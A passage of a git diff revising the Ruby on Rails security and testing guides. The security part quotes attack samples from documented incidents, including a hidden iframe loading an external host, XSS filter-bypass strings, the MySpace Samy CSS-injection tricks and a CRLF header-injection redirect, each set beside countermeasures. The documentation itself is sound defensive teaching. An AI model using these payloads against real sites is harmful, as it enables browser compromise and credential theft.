style=”display:none”></iframe> +<iframe name="StatPage" src="http://58.xx.xxx.xxx" width=5 height=5 style="display:none"></iframe> ``` -This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser – very successfully, 50% of the attacks succeed. +This loads arbitrary HTML and/or JavaScript from an external source and embeds it as part of the site. This iframe is taken from an actual attack on legitimate Italian sites using the [Mpack attack framework](http://isc.sans.org/diary.html?storyid=3015). Mpack tries to install malicious software through security holes in the web browser - very successfully, 50% of the attacks succeed. A more specialized attack could overlap the entire web site or display a login form, which looks the same as the site's original, but transmits the user name and password to the attacker's site. Or it could use CSS and/or JavaScript to hide a legitimate link in the web application, and display another one at its place which redirects to a fake web site. @@ -719,13 +730,13 @@ _It is very important to filter malicious input, but it is also important to esc Especially for XSS, it is important to do _whitelist input filtering instead of blacklist_. Whitelist filtering states the values allowed as opposed to the values not allowed. Blacklists are never complete. -Imagine a blacklist deletes “script” from the user input. Now the attacker injects “<scrscriptipt>”, and after the filter, “<script>” remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible: +Imagine a blacklist deletes "script" from the user input. Now the attacker injects "<scrscriptipt>", and after the filter, "<script>" remains. Earlier versions of Rails used a blacklist approach for the strip_tags(), strip_links() and sanitize() method. So this kind of injection was possible: ```ruby strip_tags("some<<b>script>alert('hello')<</b>/script>") ``` -This returned "some<script>alert('hello')</script>", which makes an attack work. That's why I vote for a whitelist approach, using the updated Rails 2 method sanitize(): +This returned "some<script>alert('hello')</script>", which makes an attack work. That's why a whitelist approach is better, using the updated Rails 2 method sanitize(): ```ruby tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) @@ -734,7 +745,7 @@ s = sanitize(user_input, tags: tags, attributes: %w(href title)) This allows only the given tags and does a good job, even against all kinds of tricks and malformed tags. -As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (`&`, `"`, `<`;, and `>`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the [SafeErb](http://safe-erb.rubyforge.org/svn/plugins/safe_erb/) plugin_. SafeErb reminds you to escape strings from external sources. +As a second step, _it is good practice to escape all output of the application_, especially when re-displaying user input, which hasn't been input-filtered (as in the search form example earlier on). _Use `escapeHTML()` (or its alias `h()`) method_ to replace the HTML input characters &, ", <, > by their uninterpreted representations in HTML (`&`, `"`, `<`;, and `>`). However, it can easily happen that the programmer forgets to use it, so _it is recommended to use the SafeErb gem. SafeErb reminds you to escape strings from external sources. ##### Obfuscation and Encoding Injection @@ -745,7 +756,7 @@ Network traffic is mostly based on the limited Western alphabet, so new characte lert('XSS')> ``` -This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus “get to know your enemy”, is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks. +This example pops up a message box. It will be recognized by the above sanitize() filter, though. A great tool to obfuscate and encode strings, and thus "get to know your enemy", is the [Hackvertor](https://hackvertor.co.uk/public). Rails' sanitize() method does a good job to fend off encoding attacks. #### Examples from the Underground @@ -761,9 +772,9 @@ The following is an excerpt from the [Js.Yamanner@m](http://www.symantec.com/sec The worms exploits a hole in Yahoo's HTML/JavaScript filter, which usually filters all target and onload attributes from tags (because there can be JavaScript). The filter is applied only once, however, so the onload attribute with the worm code stays in place. This is a good example why blacklist filters are never complete and why it is hard to allow HTML/JavaScript in a web application. -Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/article/9/Paper_A_PoC_of_a_cross_webmail_worm_XWW_called_Njuda_connection/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with. +Another proof-of-concept webmail worm is Nduja, a cross-domain worm for four Italian webmail services. Find more details on [Rosario Valotta's paper](http://www.xssed.com/news/37/Nduja_Connection_A_cross_webmail_worm_XWW/). Both webmail worms have the goal to harvest email addresses, something a criminal hacker could make money with. -In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named “login_home_index_html”, so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form. +In December 2006, 34,000 actual user names and passwords were stolen in a [MySpace phishing attack](http://news.netcraft.com/archives/2006/10/27/myspace_accounts_compromised_by_phishers.html). The idea of the attack was to create a profile page named "login_home_index_html", so the URL looked very convincing. Specially-crafted HTML and CSS was used to hide the genuine MySpace content from the page and instead display its own login form. The MySpace Samy worm will be discussed in the CSS Injection section. @@ -785,13 +796,13 @@ So the payload is in the style attribute. But there are no quotes allowed in the <div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> ``` -The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word “innerHTML”: +The eval() function is a nightmare for blacklist input filters, as it allows the style attribute to hide the word "innerHTML": ``` alert(eval('document.body.inne' + 'rHTML')); ``` -The next problem was MySpace filtering the word “javascript”, so the author used “java<NEWLINE>script" to get around this: +The next problem was MySpace filtering the word "javascript", so the author used "java<NEWLINE>script" to get around this: ```html <div id="mycode" expr="alert('hah!')" style="background:url('java↵
script:eval(document.all.mycode.expr)')"> @@ -805,7 +816,7 @@ The [moz-binding](http://www.securiteam.com/securitynews/5LP051FHPE.html) CSS pr #### Countermeasures -This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, I am not aware of a whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one. +This example, again, showed that a blacklist filter is never complete. However, as custom CSS in web applications is a quite rare feature, it may be hard to find a good whitelist CSS filter. _If you want to allow custom colors or images, you can allow the user to choose them and build the CSS in the web application_. Use Rails' `sanitize()` method as a model for a whitelist CSS filter, if you really need one. ### Textile Injection @@ -838,9 +849,9 @@ It is recommended to _use RedCloth in combination with a whitelist input filter_ ### Ajax Injection -NOTE: _The same security precautions have to be taken for Ajax actions as for “normal” ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._ +NOTE: _The same security precautions have to be taken for Ajax actions as for "normal" ones. There is at least one exception, however: The output has to be escaped in the controller already, if the action doesn't render a view._ -If you use the [in_place_editor plugin](http://dev.rubyonrails.org/browser/plugins/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method. +If you use the [in_place_editor plugin](https://rubygems.org/gems/in_place_editing), or actions that return a string, rather than rendering a view, _you have to escape the return value in the action_. Otherwise, if the return value contains a XSS string, the malicious code will be executed upon return to the browser. Escape any input value using the h() method. ### Command Line Injection @@ -862,7 +873,7 @@ WARNING: _HTTP headers are dynamically generated and under certain circumstances HTTP request headers have a Referer, User-Agent (client software), and Cookie field, among others. Response headers for example have a status code, Cookie and Location (redirection target URL) field. All of them are user-supplied and may be manipulated with more or less effort. _Remember to escape these header fields, too._ For example when you display the user agent in an administration area. -Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a “referer“ field in a form to redirect to the given address: +Besides that, it is _important to know what you are doing when building response headers partly based on user input._ For example you want to redirect the user back to a specific page. To do that you introduced a "referer" field in a form to redirect to the given address: ```ruby redirect_to params[:referer] @@ -889,7 +900,7 @@ HTTP/1.1 302 Moved Temporarily Location: http://www.malicious.tld ``` -So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? He could redirect to a phishing site that looks the same as yours, but asks to login again (and sends the login credentials to the attacker). Or he could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._ +So _attack vectors for Header Injection are based on the injection of CRLF characters in a header field._ And what could an attacker do with a false redirection? They could redirect to a phishing site that looks the same as yours, but ask to login again (and sends the login credentials to the attacker). Or they could install malicious software through browser security holes on that site. Rails 2.1.2 escapes these characters for the Location field in the `redirect_to` method. _Make sure you do it yourself when you build other header fields with user input._ #### Response Splitting @@ -914,6 +925,49 @@ Content-Type: text/html Under certain circumstances this would present the malicious HTML to the victim. However, this only seems to work with Keep-Alive connections (and many browsers are using one-time connections). But you can't rely on this. _In any case this is a serious bug, and you should update your Rails to version 2.0.5 or 2.1.2 to eliminate Header Injection (and thus response splitting) risks._ +Unsafe Query Generation +----------------------- + +Due to the way Active Record interprets parameters in combination with the way +that Rack parses query parameters it was possible to issue unexpected database +queries with `IS NULL` where clauses. As a response to that security issue +([CVE-2012-2660](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/8SA-M3as7A8/Mr9fi9X4kNgJ), +[CVE-2012-2694](https://groups.google.com/forum/#!searchin/rubyonrails-security/deep_munge/rubyonrails-security/jILZ34tAHF4/7x0hLH-o0-IJ) +and [CVE-2013-0155](https://groups.google.com/forum/#!searchin/rubyonrails-security/CVE-2012-2660/rubyonrails-security/c7jT-EeN9eI/L0u4e87zYGMJ)) +`deep_munge` method was introduced as a solution to keep Rails secure by default. + +Example of vulnerable code that could be used by attacker, if `deep_munge` +wasn't performed is: + +```ruby +unless params[:token].nil? + user = User.find_by_token(params[:token]) + user.reset_password! +end +``` + +When `params[:token]` is one of: `[nil]`, `[nil, nil, ...]` or +`['foo', nil]` it will bypass the test for `nil`, but `IS NULL` or +`IN ('foo', NULL)` where clauses still will be added to the SQL query. + +To keep rails secure by default, `deep_munge` replaces some of the values with +`nil`. Below table shows what the parameters look like based on `JSON` sent in +request: + +| JSON | Parameters | +|-----------------------------------|--------------------------| +| `{ "person": null }` | `{ :person => nil }` | +| `{ "person": [] }` | `{ :person => [] }` | +| `{ "person": [null] }` | `{ :person => [] }` | +| `{ "person": [null, null, ...] }` | `{ :person => [] }` | +| `{ "person": ["foo", null] }` | `{ :person => ["foo"] }` | + +It is possible to return to old behaviour and disable `deep_munge` configuring +your application if you are aware of the risk and know how to handle it: + +```ruby +config.action_dispatch.perform_deep_munge = false +``` Default Headers --------------- @@ -943,7 +997,7 @@ Or you can remove them. config.action_dispatch.default_headers.clear ``` -Here is the list of common headers: +Here is a list of common headers: * X-Frame-Options _'SAMEORIGIN' in Rails by default_ - allow framing on same domain. Set it to 'DENY' to deny framing at all or 'ALLOWALL' if you want to allow framing for all website. @@ -952,7 +1006,7 @@ _'1; mode=block' in Rails by default_ - use XSS Auditor and block page if XSS at * X-Content-Type-Options _'nosniff' in Rails by default_ - stops the browser from guessing the MIME type of a file. * X-Content-Security-Policy -[A powerful mechanism for controlling which sites certain content types can be loaded from](http://dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html) +[A powerful mechanism for controlling which sites certain content types can be loaded from](http://w3c.github.io/webappsec/specs/content-security-policy/csp-specification.dev.html) * Access-Control-Allow-Origin Used to control which sites are allowed to bypass same origin policies and send cross-origin requests. * Strict-Transport-Security @@ -961,7 +1015,7 @@ Used to control which sites are allowed to bypass same origin policies and send Environmental Security ---------------------- -It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/initializers/secret_token.rb`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information. +It is beyond the scope of this guide to inform you on how to secure your application code and environments. However, please secure your database configuration, e.g. `config/database.yml`, and your server-side secret, e.g. stored in `config/secrets.yml`. You may want to further restrict access, using environment-specific versions of these files and any others that may contain sensitive information. Additional Resources -------------------- diff --git a/guides/source/testing.md b/guides/source/testing.md index 7747318d32..21b0b37efa 100644 --- a/guides/source/testing.md +++ b/guides/source/testing.md @@ -1,8 +1,9 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + A Guide to Testing Rails Applications ===================================== -This guide covers built-in mechanisms offered by Rails to test your -application. +This guide covers built-in mechanisms in Rails for testing your application. After reading this guide, you will know: @@ -30,27 +31,31 @@ Testing support was woven into the Rails fabric from the beginning. It wasn't an By default, every Rails application has three environments: development, test, and production. The database for each one of them is configured in `config/database.yml`. -A dedicated test database allows you to set up and interact with test data in isolation. Tests can mangle test data with confidence, that won't touch the data in the development or production databases. +A dedicated test database allows you to set up and interact with test data in isolation. This way your tests can mangle test data with confidence, without worrying about the data in the development or production databases. + +Also, each environment's configuration can be modified similarly. In this case, we can modify our test environment by changing the options found in `config/environments/test.rb`. ### Rails Sets up for Testing from the Word Go -Rails creates a `test` folder for you as soon as you create a Rails project using `rails new` _application_name_. If you list the contents of this folder then you shall see: +Rails creates a `test` directory for you as soon as you create a Rails project using `rails new` _application_name_. If you list the contents of this directory then you shall see: ```bash $ ls -F test - -fixtures/ functional/ integration/ performance/ test_helper.rb unit/ +controllers/ helpers/ mailers/ test_helper.rb +fixtures/ integration/ models/ ``` -The `unit` directory is meant to hold tests for your models, the `functional` directory is meant to hold tests for your controllers, the `integration` directory is meant to hold tests that involve any number of controllers interacting, and the `performance` directory is meant for performance tests. +The `models` directory is meant to hold tests for your models, the `controllers` directory is meant to hold tests for your controllers and the `integration` directory is meant to hold tests that involve any number of controllers interacting. There is also a directory for testing your mailers and one for testing view helpers. -Fixtures are a way of organizing test data; they reside in the `fixtures` folder. +Fixtures are a way of organizing test data; they reside in the `fixtures` directory. The `test_helper.rb` file holds the default configuration for your tests. ### The Low-Down on Fixtures -For good tests, you'll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures. +For good tests, you'll need to give some thought to setting up test data. +In Rails, you can handle this by defining and customizing fixtures. +You can find comprehensive documentation in the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). #### What Are Fixtures? @@ -60,24 +65,44 @@ You'll find fixtures under your `test/fixtures` directory. When you run `rails g #### YAML -YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`). +YAML-formatted fixtures are a human-friendly way to describe your sample data. These types of fixtures have the **.yml** file extension (as in `users.yml`). Here's a sample YAML fixture file: ```yaml -# lo & behold! I am a YAML comment! +# lo & behold! I am a YAML comment! david: - name: David Heinemeier Hansson - birthday: 1979-10-15 - profession: Systems development + name: David Heinemeier Hansson + birthday: 1979-10-15 + profession: Systems development steve: - name: Steve Ross Kellock - birthday: 1974-09-27 - profession: guy with keyboard + name: Steve Ross Kellock + birthday: 1974-09-27 + profession: guy with keyboard ``` -Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column. Keys which resemble YAML keywords such as 'yes' and 'no' are quoted so that the YAML Parser correctly interprets them. +Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are typically separated by a blank space. You can place comments in a fixture file by using the # character in the first column. + +If you are working with [associations](/association_basics.html), you can simply +define a reference node between two different fixtures. Here's an example with +a `belongs_to`/`has_many` association: + +```yaml +# In fixtures/categories.yml +about: + name: About + +# In fixtures/articles.yml +one: + title: Welcome to Rails! + body: Hello world! + category: about +``` + +Notice the `category` key of the `one` article found in `fixtures/articles.yml` has a value of `about`. This tells Rails to load the category `about` found in `fixtures/categories.yml`. + +NOTE: For associations to reference one another by name, you cannot specify the `id:` attribute on the associated fixtures. Rails will auto assign a primary key to be consistent between runs. For more information on this association behavior please read the [Fixtures API documentation](http://api.rubyonrails.org/classes/ActiveRecord/FixtureSet.html). #### ERB'in It Up @@ -86,22 +111,24 @@ ERB allows you to embed Ruby code within templates. The YAML fixture format is p ```erb <% 1000.times do |n| %> user_<%= n %>: - username: <%= "user%03d" % n %> - email: <%= "user%03d@example.com" % n %> + username: <%= "user#{n}" %> + email: <%= "user#{n}@example.com" %> <% end %> ``` #### Fixtures in Action -Rails by default automatically loads all fixtures from the `test/fixtures` folder for your unit and functional test. Loading involves three steps: +Rails by default automatically loads all fixtures from the `test/fixtures` directory for your models and controllers test. Loading involves three steps: * Remove any existing data from the table corresponding to the fixture * Load the fixture data into the table -* Dump the fixture data into a variable in case you want to access it directly +* Dump the fixture data into a method in case you want to access it directly + +TIP: In order to remove existing data from the database, Rails tries to disable referential integrity triggers (like foreign keys and check constraints). If you are getting annoying permission errors on running tests, make sure the database user has privilege to disable these triggers in testing environment. (In PostgreSQL, only superusers can disable all triggers. Read more about PostgreSQL permissions [here](http://blog.endpoint.com/2012/10/postgres-system-triggers-error.html)) #### Fixtures are Active Record objects -Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically setup as a local variable of the test case. For example: +Fixtures are instances of Active Record. As mentioned in point #3 above, you can access the object directly because it is automatically available as a method whose scope is local of the test case. For example: ```ruby # this will return the User object for the fixture named david @@ -114,36 +141,54 @@ users(:david).id email(david.girlfriend.email, david.location_tonight) ``` +### Rake Tasks for Running your Tests + +Rails comes with a number of built-in rake tasks to help with testing. The +table below lists the commands included in the default Rakefile when a Rails +project is created. + +| Tasks | Description | +| ----------------------- | ----------- | +| `rake test` | Runs all tests in the `test` directory. You can also run `rake` and Rails will run all tests by default | +| `rake test:controllers` | Runs all the controller tests from `test/controllers` | +| `rake test:functionals` | Runs all the functional tests from `test/controllers`, `test/mailers`, and `test/functional` | +| `rake test:helpers` | Runs all the helper tests from `test/helpers` | +| `rake test:integration` | Runs all the integration tests from `test/integration` | +| `rake test:jobs` | Runs all the job tests from `test/jobs` | +| `rake test:mailers` | Runs all the mailer tests from `test/mailers` | +| `rake test:models` | Runs all the model tests from `test/models` | +| `rake test:units` | Runs all the unit tests from `test/models`, `test/helpers`, and `test/unit` | +| `rake test:db` | Runs all tests in the `test` directory and resets the db | + +We will cover each of types Rails tests listed above in this guide. + Unit Testing your Models ------------------------ In Rails, unit tests are what you write to test your models. -For this guide we will be using Rails _scaffolding_. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practices. I will be using examples from this generated code and will be supplementing it with additional examples where necessary. +For this guide we will be using the application we built in the [Getting Started with Rails](getting_started.html) guide. -NOTE: For more information on Rails <i>scaffolding</i>, refer to [Getting Started with Rails](getting_started.html) - -When you use `rails generate scaffold`, for a resource among other things it creates a test stub in the `test/models` folder: +If you remember when you used the `rails generate scaffold` command from earlier. We created our first resource among other things it created a test stub in the `test/models` directory: ```bash -$ rails generate scaffold post title:string body:text +$ bin/rails generate scaffold article title:string body:text ... -create app/models/post.rb -create test/models/post_test.rb -create test/fixtures/posts.yml +create app/models/article.rb +create test/models/article_test.rb +create test/fixtures/articles.yml ... ``` -The default test stub in `test/models/post_test.rb` looks like this: +The default test stub in `test/models/article_test.rb` looks like this: ```ruby require 'test_helper' -class PostTest < ActiveSupport::TestCase - # Replace this with your real tests. - test "the truth" do - assert true - end +class ArticleTest < ActiveSupport::TestCase + # test "the truth" do + # assert true + # end end ``` @@ -153,17 +198,18 @@ A line by line examination of this file will help get you oriented to Rails test require 'test_helper' ``` -As you know by now, `test_helper.rb` specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests. +By requiring this file, `test_helper.rb` the default configuration to run our tests is loaded. We will include this with all the tests we write, so any methods added to this file are available to all your tests. ```ruby -class PostTest < ActiveSupport::TestCase +class ArticleTest < ActiveSupport::TestCase ``` -The `PostTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `PostTest` thus has all the methods available from `ActiveSupport::TestCase`. You'll see those methods a little later in this guide. +The `ArticleTest` class defines a _test case_ because it inherits from `ActiveSupport::TestCase`. `ArticleTest` thus has all the methods available from `ActiveSupport::TestCase`. Later in this guide, you'll see some of the methods it gives you. -Any method defined within a `Test::Unit` test case that begins with `test` (case sensitive) is simply called a test. So, `test_password`, `test_valid_password` and `testValidPassword` all are legal test names and are run automatically when the test case is run. +Any method defined within a class inherited from `Minitest::Test` +(which is the superclass of `ActiveSupport::TestCase`) that begins with `test_` (case sensitive) is simply called a test. So, methods defined as `test_password` and `test_valid_password` are legal test names and are run automatically when the test case is run. -Rails adds a `test` method that takes a test name and a block. It generates a normal `Test::Unit` test with method names prefixed with `test_`. So, +Rails also adds a `test` method that takes a test name and a block. It generates a normal `Minitest::Unit` test with method names prefixed with `test_`. So you don't have to worry about naming the methods, and you can write something like: ```ruby test "the truth" do @@ -171,7 +217,7 @@ test "the truth" do end ``` -acts as if you had written +Which is approximately the same as writing this: ```ruby def test_the_truth @@ -179,112 +225,98 @@ def test_the_truth end ``` -only the `test` macro allows a more readable test name. You can still use regular method definitions though. +However only the `test` macro allows a more readable test name. You can still use regular method definitions though. -NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. Odd ones need `define_method` and `send` calls, but formally there's no restriction. +NOTE: The method name is generated by replacing spaces with underscores. The result does not need to be a valid Ruby identifier though, the name may contain punctuation characters etc. That's because in Ruby technically any string may be a method name. This may require use of `define_method` and `send` calls to function properly, but formally there's little restriction on the name. + +Next, let's look at our first assertion: ```ruby assert true ``` -This line of code is called an _assertion_. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check: +An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check: * does this value = that value? * is this object nil? * does this line of code throw an exception? * is the user's password greater than 5 characters? -Every test contains one or more assertions. Only when all the assertions are successful will the test pass. +Every test must contain at least one assertion, with no restriction as to how many assertions are allowed. Only when all the assertions are successful will the test pass. -### Preparing your Application for Testing +### Maintaining the test database schema -Before you can run your tests, you need to ensure that the test database structure is current. For this you can use the following rake commands: +In order to run your tests, your test database will need to have the current +structure. The test helper checks whether your test database has any pending +migrations. If so, it will try to load your `db/schema.rb` or `db/structure.sql` +into the test database. If migrations are still pending, an error will be +raised. Usually this indicates that your schema is not fully migrated. Running +the migrations against the development database (`bin/rake db:migrate`) will +bring the schema up to date. -```bash -$ rake db:migrate -... -$ rake db:test:load -``` - -The `rake db:migrate` above runs any pending migrations on the _development_ environment and updates `db/schema.rb`. The `rake db:test:load` recreates the test database from the current `db/schema.rb`. On subsequent attempts, it is a good idea to first run `db:test:prepare`, as it first checks for pending migrations and warns you appropriately. - -NOTE: `db:test:prepare` will fail with an error if `db/schema.rb` doesn't exist. - -#### Rake Tasks for Preparing your Application for Testing - -| Tasks | Description | -| ------------------------------ | ------------------------------------------------------------------------- | -| `rake db:test:clone` | Recreate the test database from the current environment's database schema | -| `rake db:test:clone_structure` | Recreate the test database from the development structure | -| `rake db:test:load` | Recreate the test database from the current `schema.rb` | -| `rake db:test:prepare` | Check for pending migrations and load the test schema | -| `rake db:test:purge` | Empty the test database. | - -TIP: You can see all these rake tasks and their descriptions by running `rake --tasks --describe` +NOTE: If existing migrations required modifications, the test database needs to +be rebuilt. This can be done by executing `bin/rake db:test:prepare`. ### Running Tests -Running a test is as simple as invoking the file containing the test cases through Ruby: +Running a test is as simple as invoking the file containing the test cases through `rake test` command. ```bash -$ ruby -Itest test/models/post_test.rb - -Loaded suite models/post_test -Started +$ bin/rake test test/models/article_test.rb . -Finished in 0.023513 seconds. -1 tests, 1 assertions, 0 failures, 0 errors -``` +Finished tests in 0.009262s, 107.9680 tests/s, 107.9680 assertions/s. -This will run all the test methods from the test case. Note that `test_helper.rb` is in the `test` directory, hence this directory needs to be added to the load path using the `-I` switch. +1 tests, 1 assertions, 0 failures, 0 errors, 0 skips +``` -You can also run a particular test method from the test case by using the `-n` switch with the `test method name`. +You can also run a particular test method from the test case by running the test and providing the `test method name`. ```bash -$ ruby -Itest test/models/post_test.rb -n test_the_truth - -Loaded suite models/post_test -Started +$ bin/rake test test/models/article_test.rb test_the_truth . -Finished in 0.023513 seconds. -1 tests, 1 assertions, 0 failures, 0 errors +Finished tests in 0.009064s, 110.3266 tests/s, 110.3266 assertions/s. + +1 tests, 1 assertions, 0 failures, 0 errors, 0 skips ``` +This will run all test methods from the test case. + The `.` (dot) above indicates a passing test. When a test fails you see an `F`; when a test throws an error you see an `E` in its place. The last line of the output is the summary. -To see how a test failure is reported, you can add a failing test to the `post_test.rb` test case. +#### Your first failing test + +To see how a test failure is reported, you can add a failing test to the `article_test.rb` test case. ```ruby -test "should not save post without title" do - post = Post.new - assert !post.save +test "should not save article without title" do + article = Article.new + assert_not article.save end ``` Let us run this newly added test. ```bash -$ ruby unit/post_test.rb -n test_should_not_save_post_without_title -Loaded suite -e -Started +$ bin/rake test test/models/article_test.rb test_should_not_save_article_without_title F -Finished in 0.102072 seconds. + +Finished tests in 0.044632s, 22.4054 tests/s, 22.4054 assertions/s. 1) Failure: -test_should_not_save_post_without_title(PostTest) [/test/models/post_test.rb:6]: -<false> is not true. +test_should_not_save_article_without_title(ArticleTest) [test/models/article_test.rb:6]: +Failed assertion, no message given. -1 tests, 1 assertions, 1 failures, 0 errors +1 tests, 1 assertions, 1 failures, 0 errors, 0 skips ``` In the output, `F` denotes a failure. You can see the corresponding trace shown under `1)` along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable, every assertion provides an optional message parameter, as shown here: ```ruby -test "should not save post without title" do - post = Post.new - assert !post.save, "Saved the post without a title" +test "should not save article without title" do + article = Article.new + assert_not article.save, "Saved the article without a title" end ``` @@ -292,15 +324,14 @@ Running this test shows the friendlier assertion message: ```bash 1) Failure: -test_should_not_save_post_without_title(PostTest) [/test/models/post_test.rb:6]: -Saved the post without a title. -<false> is not true. +test_should_not_save_article_without_title(ArticleTest) [test/models/article_test.rb:6]: +Saved the article without a title ``` Now to get this test to pass we can add a model level validation for the _title_ field. ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base validates :title, presence: true end ``` @@ -308,18 +339,17 @@ end Now the test should pass. Let us verify by running the test again: ```bash -$ ruby unit/post_test.rb -n test_should_not_save_post_without_title -Loaded suite unit/post_test -Started +$ bin/rake test test/models/article_test.rb test_should_not_save_article_without_title . -Finished in 0.193608 seconds. -1 tests, 1 assertions, 0 failures, 0 errors +Finished tests in 0.047721s, 20.9551 tests/s, 20.9551 assertions/s. + +1 tests, 1 assertions, 0 failures, 0 errors, 0 skips ``` Now, if you noticed, we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as _Test-Driven Development_ (TDD). -TIP: Many Rails developers practice _Test-Driven Development_ (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with [15 TDD steps to create a Rails application](http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html). +#### What an error looks like To see how an error gets reported, here's a test containing an error: @@ -334,55 +364,54 @@ end Now you can see even more output in the console from running the tests: ```bash -$ ruby unit/post_test.rb -n test_should_report_error -Loaded suite -e -Started +$ bin/rake test test/models/article_test.rb test_should_report_error E -Finished in 0.082603 seconds. + +Finished tests in 0.030974s, 32.2851 tests/s, 0.0000 assertions/s. 1) Error: -test_should_report_error(PostTest): -NameError: undefined local variable or method `some_undefined_variable' for #<PostTest:0x249d354> - /test/models/post_test.rb:6:in `test_should_report_error' +test_should_report_error(ArticleTest): +NameError: undefined local variable or method `some_undefined_variable' for #<ArticleTest:0x007fe32e24afe0> + test/models/article_test.rb:10:in `block in <class:ArticleTest>' -1 tests, 0 assertions, 0 failures, 1 errors +1 tests, 0 assertions, 0 failures, 1 errors, 0 skips ``` Notice the 'E' in the output. It denotes a test with error. NOTE: The execution of each test method stops as soon as any error or an assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order. -### What to Include in Your Unit Tests +When a test fails you are presented with the corresponding backtrace. By default +Rails filters that backtrace and will only print lines relevant to your +application. This eliminates the framework noise and helps to focus on your +code. However there are situations when you want to see the full +backtrace. simply set the `BACKTRACE` environment variable to enable this +behavior: -Ideally, you would like to include a test for everything which could possibly break. It's a good practice to have at least one test for each of your validations and at least one test for every method in your model. +```bash +$ BACKTRACE=1 bin/rake test test/models/article_test.rb +``` + +If we want this test to pass we can modify it to use `assert_raises` like so: + +```ruby +test "should report error" do + # some_undefined_variable is not defined elsewhere in the test case + assert_raises(NameError) do + some_undefined_variable + end +end +``` + +This test should now pass. -### Assertions Available +### Available Assertions By now you've caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned. -There are a bunch of different types of assertions you can use. Here's the complete list of assertions that ship with `test/unit`, the default testing library used by Rails. The `[msg]` parameter is an optional string message you can specify to make your test failure messages clearer. It's not required. - -| Assertion | Purpose | -| ---------------------------------------------------------------- | ------- | -| `assert( boolean, [msg] )` | Ensures that the object/expression is true.| -| `assert_equal( expected, actual, [msg] )` | Ensures that `expected == actual` is true.| -| `assert_not_equal( expected, actual, [msg] )` | Ensures that `expected != actual` is true.| -| `assert_same( expected, actual, [msg] )` | Ensures that `expected.equal?(actual)` is true.| -| `assert_not_same( expected, actual, [msg] )` | Ensures that `!expected.equal?(actual)` is true.| -| `assert_nil( obj, [msg] )` | Ensures that `obj.nil?` is true.| -| `assert_not_nil( obj, [msg] )` | Ensures that `!obj.nil?` is true.| -| `assert_match( regexp, string, [msg] )` | Ensures that a string matches the regular expression.| -| `assert_no_match( regexp, string, [msg] )` | Ensures that a string doesn't match the regular expression.| -| `assert_in_delta( expecting, actual, delta, [msg] )` | Ensures that the numbers 